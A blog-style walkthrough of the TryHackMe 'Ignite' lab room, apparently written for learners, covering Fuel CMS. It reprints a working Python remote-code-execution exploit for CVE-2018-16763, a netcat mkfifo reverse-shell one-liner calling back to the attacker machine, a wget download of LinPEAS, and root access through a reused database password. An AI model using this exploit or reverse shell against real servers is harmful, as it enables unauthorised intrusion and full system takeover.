TryHackMe : Ignite Walkthrough

A new start-up has a few issues with their web server.

Ignite (Fuel CMS) is a beginner-friendly TryHackMe room that showcases web exploitation, remote code execution, and multiple privilege escalation paths. Let’s go step by step.

🔎 Reconnaissance

nmap -A <TARGET_IP>

┌──(kali㉿kali)-[~]
└─$ nmap -A thm
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-21 22:16 IST
Nmap scan report for thm (10.201.79.75)
Host is up (0.22s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/fuel/
|_http-title: Welcome to FUEL CMS
Aggressive OS guesses: Linux 4.4 (97%), Android 9 - 10 (Linux 4.9 - 4.14) (96%), Linux 3.2 - 4.14 (96%), Linux 5.4 (96%), Linux 4.15 (95%), Linux 4.15 - 5.19 (95%), Linux 3.10 - 3.13 (95%), Linux 2.6.32 - 3.10 (95%), Linux 3.10 - 4.11 (94%), Linux 3.13 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 5 hops

TRACEROUTE (using port 995/tcp)
HOP RTT       ADDRESS
1   18.86 ms  10.17.0.1
2   ... 4
5   247.99 ms thm (10.201.79.75)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.83 seconds

• Scan revealed port 80 (HTTP) as open.
• Other ports were closed.

Only port 80? Looks like this box really wants me to be a web developer today 👨‍💻.

🌐 Port 80 — Fuel CMS

• Browsing http://<TARGET_IP> revealed a Fuel CMS site.

• Scrolling to the bottom showed the admin endpoint and login creds (default).

• Endpoint: http://<TARGET_IP>/fuel
• Login as: admin : <password shown on page>

Admin URL: http://<TARGET_IP>/fuel
Username: admin
Password: <found_password>

Admin Dashboard

• Logged in successfully to the CMS dashboard.
• Since the panel didn’t expose anything directly, I looked up public exploits for this Fuel CMS version.

# Exploit Title: Fuel CMS 1.4.1 - Remote Code Execution (3)
# Exploit Author: Padsala Trushal
# Date: 2021-11-03
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu - Apache2 - php5
# CVE : CVE-2018-16763

#!/usr/bin/python3

import requests
from urllib.parse import quote
import argparse
import sys
from colorama import Fore, Style

def get_arguments():
 parser = argparse.ArgumentParser(description='fuel cms fuel CMS 1.4.1 - Remote Code Execution Exploit',usage=f'python3 {sys.argv[0]} -u <url>',epilog=f'EXAMPLE - python3 {sys.argv[0]} -u http://10.10.21.74')

 parser.add_argument('-v','--version',action='version',version='1.2',help='show the version of exploit')

 parser.add_argument('-u','--url',metavar='url',dest='url',help='Enter the url')

 args = parser.parse_args()

 if len(sys.argv) <=2:
  parser.print_usage()
  sys.exit()

 return args

args = get_arguments()
url = args.url 

if "http" not in url:
 sys.stderr.write("Enter vaild url")
 sys.exit()

try:
   r = requests.get(url)
   if r.status_code == 200:
       print(Style.BRIGHT+Fore.GREEN+"[+]Connecting..."+Style.RESET_ALL)

except requests.ConnectionError:
    print(Style.BRIGHT+Fore.RED+"Can't connect to url"+Style.RESET_ALL)
    sys.exit()

while True:
 cmd = input(Style.BRIGHT+Fore.YELLOW+"Enter Command $"+Style.RESET_ALL)

 main_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+quote(cmd)+"%27%29%2b%27"

 r = requests.get(main_url)

 #<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">

 output = r.text.split('<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">')
 print(output[0])
 if cmd == "exit":
  break

💥 Remote Code Execution (RCE)

• I found a Python exploit for Fuel CMS RCE and downloaded it.

Listener on attacker box:

nc -lvnp 1111

Trigger reverse shell via the exploit (example):

python3 fuelcms_rce.py -u http://<TARGET_IP>/

┌──(kali㉿kali)-[~/Desktop]
└─$ python3 fuelcms_rce.py -u http://thm        
[+]Connecting...
Enter Command $

Website: https://www.revshells.com/

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <Machine-IP> 1111 >/tmp/f

• Reverse shell landed as www-data ✅

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1111
listening on [any] 1111 ...
connect to [10.17.14.244] from (UNKNOWN) [10.201.79.75] 58724
sh: 0: can't access tty; job control turned off
$ whoami
www-data
$

Stabilize TTY (optional but handy):

python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo; fg
export TERM=xterm

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/html$ stty raw -echo; fg
stty raw -echo; fg
bash: fg: current: no such job
www-data@ubuntu:/var/www/html$ export TERM=xterm
www-data@ubuntu:/var/www/html$ 

• Captured the user flag from the www-data user’s home directory:

cd /home/www-data
ls -al

www-data@ubuntu:/home/www-data$ ls -al
total 12
drwx--x--x 2 www-data www-data 4096 Jul 26  2019 .
drwxr-xr-x 3 root     root     4096 Jul 26  2019 ..
-rw-r--r-- 1 root     root       34 Jul 26  2019 flag.txt
www-data@ubuntu:/home/www-data$ cat flag.txt
................................

🛠️ PRIVILEGE ESCALATION

• Step 1: Check sudo permissions

sudo -l

www-data@ubuntu:/home/www-data$ sudo -l
[sudo] password for www-data: 

Sorry, try again.
[sudo] password for www-data: 

Sorry, try again.
[sudo] password for www-data: 

sudo: 3 incorrect password attempts
www-data@ubuntu:/home/www-data$

• Step 2: Look for SUID binaries (4000 permissions)

find / -perm -4000 2>/dev/null

www-data@ubuntu:/home/www-data$ find / -perm -4000 2>/dev/null
/usr/sbin/pppd
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/vmware-user-suid-wrapper
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/passwd
/bin/su
/bin/ping6
/bin/ntfs-3g
/bin/ping
/bin/mount
/bin/umount
/bin/fusermount

• Nothing interesting :(

Step 3: Transfer and run LinPEAS

• On python3 server on you host machine. where ur linpeas.sh file located.

python3 -m http.server 8000

• In your attacker machine:

cd /tmp

wget http://<Host-Machine-IP>:8000/linpeas.sh

chmod +x /tmp/linpeas.sh
./linpeas.sh

LinPEAS running… time to grab some coffee ☕ because this script finds everything.

oooopppppppsssssssssssss….

╔══════════╣ Searching passwords in config PHP files
/var/www/html/fuel/application/config/database.php:     'password' => 'mememe',   

Found the root creds! 🔑 It’s like leaving the keys under the doormat — thanks admin 😎.

Step 4: Reuse credentials

• Switched user:

su root

www-data@ubuntu:/tmp$ su root
Password: mememe

cd /root

ls -al
cat root.txt

root@ubuntu:/tmp# cd /root
root@ubuntu:~# ls -al
total 32
drwx------  4 root root 4096 Jul 26  2019 .
drwxr-xr-x 24 root root 4096 Jul 26  2019 ..
-rw-------  1 root root  357 Jul 26  2019 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwx------  2 root root 4096 Feb 26  2019 .cache
drwxr-xr-x  2 root root 4096 Jul 26  2019 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   34 Jul 26  2019 root.txt

✅ Captured root.txt flag from /root/.

Getting root was fun, but remember… flags taste better when you cook them yourself 👨‍🍳🔥.

🔗 Feel free to connect with me on LinkedIn.

Thank You.